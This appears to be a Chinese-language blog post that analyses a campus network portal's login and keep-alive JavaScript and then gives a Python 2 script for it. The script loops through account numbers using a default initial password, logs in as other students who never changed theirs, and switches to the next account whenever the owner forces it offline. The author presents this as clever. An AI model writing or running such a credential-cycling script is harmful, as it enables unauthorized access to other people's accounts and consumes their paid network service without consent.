在瀏覽器的驗證視窗中輸入登陸名和密碼後,成功後會彈出一個小的新視窗,如果不小心關閉了這個視窗,則就會無法聯網。如果說我在一個不帶有桌面的Linux系統中,我是不能夠通過瀏覽器接入網路的,雖然提供了不同系統的不同版本的客戶端(沒有用過),但是還是想自己做一個玩玩,同時依據上一篇部落格中獲取到的帳號進行嘗試登陸。
1. 頁面分析
首先還是先來看一下登陸驗證頁面,因為上一片部落格中已經對其進行了分析,這裡我們看看其它的:
上邊的程式碼是登陸成功後設定 document.form1.uid.value 的值,在Cookie中儲存值,開啟新視窗。
# 新視窗開啟的網址為: http://192.0.0.6/login.html。其中location.search相當於無用,可以不管 # "user_login":窗體的名稱 # width,height:視窗的寬和高 window.open("login.html"+location.search,"user_login","width=428,height=296");
執行完上述程式碼之後就彈出瞭如下的登陸保持視窗(關掉之後就會斷網):
當這個新視窗開啟後就會執行下邊的程式碼:
<script type="text/javascript"> // 呼叫父視窗(也就是開啟這個視窗的登陸驗證視窗)中的get_uid()函式,獲取uid(登陸成功後返回的一串數字)。 document.form1.uid.value=window.opener.get_uid(); // 呼叫父視窗的關閉函式(其實那個函式什麼都沒有做,啥都沒有用) window.opener.do_close(); document.getElementById("title1").innerHTML=window.opener.get_uname()+"已經登入。<br/>請不要關閉本頁面,關閉本頁面後將自動下網。"; if(document.form1.uid.value != "") {
//呼叫get_url()方法 setTimeout("get_url()", 1000); } else { alert("登入失敗"); window.close(); } </script>
下來我們看一下 get_url 方法是幹什麼的,實際上就是將父視窗重定為到浙大軟體學院的網址。
function get_url() { // 實際上跑去訪問 http://192.0.0.6/cgi-bin/get_url 地址,而這個地址返回的是一個網址 var res=postData("/cgi-bin/get_url"+location.search, "get", ""); // 判斷返回的是不是一個網址,如果是就將父視窗調轉到這個網址(實際上這個網址就是 http://www.cst.zju.edu.cn/ 浙大軟院的網址) var p=/^http:\/\/.+/; if(p.test(res)) window.opener.jump_to(res); else window.opener.history.go(-2); return; }
頁面中還有一個方法 keeplive() 方法,看著好像很厲害的樣子,然並卵,其實只有在點選 檢視按鈕的時候才響應,不過我們模擬登陸的時候卻需要這個處理邏輯,判斷我自己是否已經被別人強退,如果強退了之後,我們就嘗試登陸下一個,然後迴圈往復,總會有不在使用的吧(嘿嘿嘿,真是機智。。)
function keeplive() { var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value); //alert(con); var p=/^[\d]+,[\d]+,[\d]+$/; if(p.test(con)) { var arr=new Array; arr=con.split(','); document.getElementById("time_long").innerHTML=format_time(arr[0]); document.getElementById("balance_in").innerHTML=format_flux(arr[1]); document.getElementById("balance_out").innerHTML=format_flux(arr[2]); err=0; } else { if(err>=5) { alert("與伺服器的連線中斷"); window.close(); return; } else if(con=="status_error") { alert("您的帳戶餘額不足"); window.close(); return; } else if(con=="available_error") { alert("您的帳戶被禁用"); window.close(); return; } else if(con=="drop_error") { alert("您被強制下線"); window.close(); return; } else if(con=="flux_error") { alert("您的流量已超支"); window.close(); return; } else if(con=="minutes_error") { alert("您的時長已超支"); window.close(); return; } else { err++; } } }
其比較重要的方法是 do_logout,我們之所以關閉了這個頁面就無法上網的原因就是這個函式的啦。
// 訪問 /cgi-bin/do_logout,並登出這次登陸,好吧,只要我不主動去呼叫它就永遠不會登出落。 function do_logout(flg) { if(flg!="" && !confirm("是否要登出?")) return; //clearTimeout(tm); var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value); //alert(con); if(con=="logout_ok") { //clearTimeout(tm); window.close(); } else { alert("操作失敗"); } }
2. 過程實現
理清楚了頁面的程式碼邏輯,下來就要用python來模擬登陸。過程主要為:獲取未改密碼的使用者帳,然後在這些帳號中選擇未登陸帳號登陸,登陸成功後一直監視登陸後的情況,如果被強制下線,我們就嘗試另一個帳號。
#!/usr/bin/python # -*- coding:utf-8 -*- import urllib import urllib2 import re import os import time class PseudoLogin: def __init__(self): self.login_url = "http://192.0.0.6/cgi-bin/do_login" self.status_url = "http://192.0.0.6/cgi-bin/keeplive" self.logout_url = "http://192.0.0.6/cgi-bin/do_logout" self.headers = {} self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" self.headers["Content-Type"] = "application/x-www-form-urlencoded"
# 需要更改起始和結束帳號 self.start = ***** self.end = ****** self.check_time = 5 # 當前登陸的帳號 self.current = self.start # 登陸成功後返回的數字字串 self.uid = "" # 迴圈測試帳號,知道有一個帳號可以通過初始密碼登陸 def cycle_login(self): # 初始密碼 password="*************" # 匹配全是數字的字串 pattern = re.compile(r"^[\d]+$") # 當已經訪問到最後的時候,且最後一個帳號沒有登陸成功的時候,又重頭來一次 if (self.current >= self.end): print "將重頭再來一次.." self.current = self.start for username in range(self.current,self.end + 1): self.current = username ret = self.access(str(username),password) if re.match(pattern,ret): self.uid = ret print "已經成功登陸...,可以上網了" print "當前網號為: "+str(username) print "uid為: " + ret return True return False def access(self,username,password): data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100" req = urllib2.Request(self.login_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the login result : " + content return content # 獲取登陸上網後的狀態 def get_status(self): data="uid="+self.uid req = urllib2.Request(self.status_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the keepalive result : " + content return content # 登出 def logout(self): data="uid="+self.uid #data="uid="+identity req = urllib2.Request(self.logout_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the logout result : " + content return content # 登陸上網之後一直監測上網狀態,如果被強制下線就返回 def suffer(self): # 迴圈測試,直到能夠登陸 while(not self.cycle_login()): pass # 當返回的是三個數字並且已逗號隔開的時候表示依然線上 pattern = re.compile(r"^[\d]+,[\d]+,[\d]+$") # 每過5秒訪問一下狀態 while(True): time.sleep(self.check_time) status = self.get_status() if re.match(pattern,status): print "it is still online" else: print "sorry you are offline" # 如果被強制下線,則自動加1,不然又會登上這個帳號 self.current = self.current + 1 print "下線後需要等一會兒才能再登陸" time.sleep(30) break # 如果while迴圈退出表示上網失敗了 return False # 這個函式將會一直執行 def enjoy(self): while(not self.suffer()): pass login = PseudoLogin() login.enjoy()
執行上述指令碼(./cstlogin > /dev/null 2>&1 &)後,就會在後臺執行,不再掉線囉,nice